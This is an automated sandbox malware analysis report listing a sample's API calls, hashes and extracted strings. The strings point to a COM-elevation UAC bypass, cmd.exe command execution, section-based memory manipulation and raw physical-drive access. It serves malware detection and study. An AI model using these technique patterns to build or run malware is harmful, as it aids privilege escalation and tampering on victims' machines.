Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00421580 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 247timememorynetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004215B2
SetLastError.KERNEL32(00000000), ref: 004215BA
GetConsoleAliasesW.KERNEL32(00000000,00000000,00000000), ref: 004215C6
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 004215E2
ResetEvent.KERNEL32(00000000), ref: 00421627
InterlockedIncrement.KERNEL32(?), ref: 00421640
DestroyCursor.USER32(00000000), ref: 00421648
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 00421676
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042167E
GetCurrentDirectoryA.KERNEL32(00000000,?), ref: 0042168D
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 00421699
GetStartupInfoW.KERNEL32(00000000), ref: 004216AA
GetModuleHandleExA.KERNEL32(00000000,0042B3F0,?), ref: 004216C7
OpenJobObjectA.KERNEL32(00000000,00000000,00000000), ref: 00421713
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 00421725
DnsHostnameToComputerNameA.KERNEL32(0042B408,?,?), ref: 0042173E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00421754
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000000), ref: 00421767
TzSpecificLocalTimeToSystemTime.KERNEL32(?,00000000,00000000), ref: 004217C0
SetCurrentDirectoryA.KERNEL32(00000000), ref: 004217C8
MoveFileExW.KERNEL32(0042B498,0042B458,00000000), ref: 004217DA
OpenWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 004217E6
CompareStringW.KERNEL32(00000000,00000000,0042B4E0,00000000,0042B4A0,00000000), ref: 004217FE
GetProcessHeap.KERNEL32 ref: 00421804

Part of subcall function 004213A0: LoadLibraryA.KERNELBASE(0042FCB8,00421901), ref: 004213D0

Part of subcall function 004214D0: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042150B
Part of subcall function 004214D0: ReadEventLogA.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 00421528
Part of subcall function 004214D0: CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042153E
Part of subcall function 004214D0: FileTimeToLocalFileTime.KERNEL32 ref: 0042155E

SetProcessWorkingSetSize.KERNEL32(00000000,00000000,00000000), ref: 00421949

Strings

tl_, xrefs: 004215FE

Memory Dump Source

Source File: 00000003.00000002.1941217924.0000000000413000.00000020.00000001.01000000.00000005.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_413000_jjdjbtc.jbxd

Similarity

API ID: Time$DirectoryFile$AliasesConsoleCreateCurrentEnvironmentEventFreeInfoLocalOpenProcessStrings$ByteCharCommCompareComputerConfigCountCursorDateDefaultDestroyEnumErrorFormatsHandleHeapHostnameIncrementInterlockedLastLengthLibraryLoadLocaleModuleMoveMultiNameNamedObjectPipeReadResetSizeSpecificStartupStringSystemTickTimerWaitableWideWorking
String ID: tl_
API String ID: 1816531604-2653253968
Opcode ID: 2347cf0974927aad82d2aab24dec0ab93160f781c87f7b7c148f2b362616f34d
Instruction ID: 4dfe5728d61aefea62bca5ff94aff735c65c31c68055f3b18549db116f162683
Opcode Fuzzy Hash: 2347cf0974927aad82d2aab24dec0ab93160f781c87f7b7c148f2b362616f34d
Instruction Fuzzy Hash: 38A1A270B44318EBEB20DF54EC46B997770BB14706F9040AAF209AA2E1D7B45A85CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004214D0 Relevance: 6.0, APIs: 4, Instructions: 50pipetimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00421410: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 00421427
Part of subcall function 00421410: LoadLibraryA.KERNEL32(00000000), ref: 0042142F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042150B
ReadEventLogA.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 00421528
CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042153E
FileTimeToLocalFileTime.KERNEL32 ref: 0042155E

Memory Dump Source

Source File: 00000003.00000002.1941217924.0000000000413000.00000020.00000001.01000000.00000005.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_413000_jjdjbtc.jbxd

Similarity

API ID: FileTime$AllocateCreateEnvironmentEventFreeHeapLibraryLoadLocalNamedPipeReadStrings
String ID:
API String ID: 3811978434-0
Opcode ID: acf5091a2d36f1e162c9f84ea1269c10243cd36ce23620090304ea870b35addc
Instruction ID: 728d0f417199d002e4d2c234a748af05650f4175829954a6a967bba4d9b62218
Opcode Fuzzy Hash: acf5091a2d36f1e162c9f84ea1269c10243cd36ce23620090304ea870b35addc
Instruction Fuzzy Hash: B9012D71304305AFD320DF54EC86F9AB7A4BB98709F80442DF259871A0D774A549CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042270B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00422731

Part of subcall function 00422520: __fltout2.LIBCMT ref: 0042254B

__cftog_l.LIBCMT ref: 00422757
__cftoe_l.LIBCMT ref: 00422789

Memory Dump Source

Source File: 00000003.00000002.1941217924.0000000000413000.00000020.00000001.01000000.00000005.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_413000_jjdjbtc.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction ID: 97d3d4b89d9bc03ca2b4a0912c81638b7047093d37974e3c5d68450736a6ad3d
Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction Fuzzy Hash: 8111833210405EBBCF125E84ED41CEE3F23BB58354B988516FE1859131C37AC9B2AB86

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6C7B.exePID: 2044, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.1%
Total number of Nodes:	310
Total number of Limit Nodes:	5

Executed Functions

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,00620000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,00620000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 1d1e830cd534af54437783b51cc9c08bc841a27dcc6edcfaa80d65915427b13e
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,00620000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,00620000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: c5e22f618a67b604fe27e09ba26f5c85a86b36c7864aea17beee92a495aee461
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00409727 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 004069BB Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,00F1B4B0,?,8B6DF01F,?), ref: 0040A53E

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f586a6cd2cf2dbeeef7eea32102fec9f33a1a5ead16db59af31ba7ceb6fdb687
Instruction ID: df007bf62870af7b74df0dbbe881ec21055e906183b30cdd37e1bfed71aa1605
Opcode Fuzzy Hash: f586a6cd2cf2dbeeef7eea32102fec9f33a1a5ead16db59af31ba7ceb6fdb687
Instruction Fuzzy Hash: 6FE0EC631002087AD7102995DC46FE7765DD7C83A9F508432F705E61D1D63DD95092AE

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040A554 Relevance: 1.5, APIs: 1, Instructions: 28
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,00F1B4B0,?,8B6DF01F,?), ref: 0040A53E

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e49d5435ce23adc9ba57d6308fbfbf1d6f88da9ad89fc2230d2c21acb333a382
Instruction ID: 523668955e0e2244aa789caa92f6427d01868abc63ade59164da16a1192ab317
Opcode Fuzzy Hash: e49d5435ce23adc9ba57d6308fbfbf1d6f88da9ad89fc2230d2c21acb333a382
Instruction Fuzzy Hash: A5E0D831004604ADCB11DE58EC8EBDA7298D705311F6498339906FD581CB3CDA85859F

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408958 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
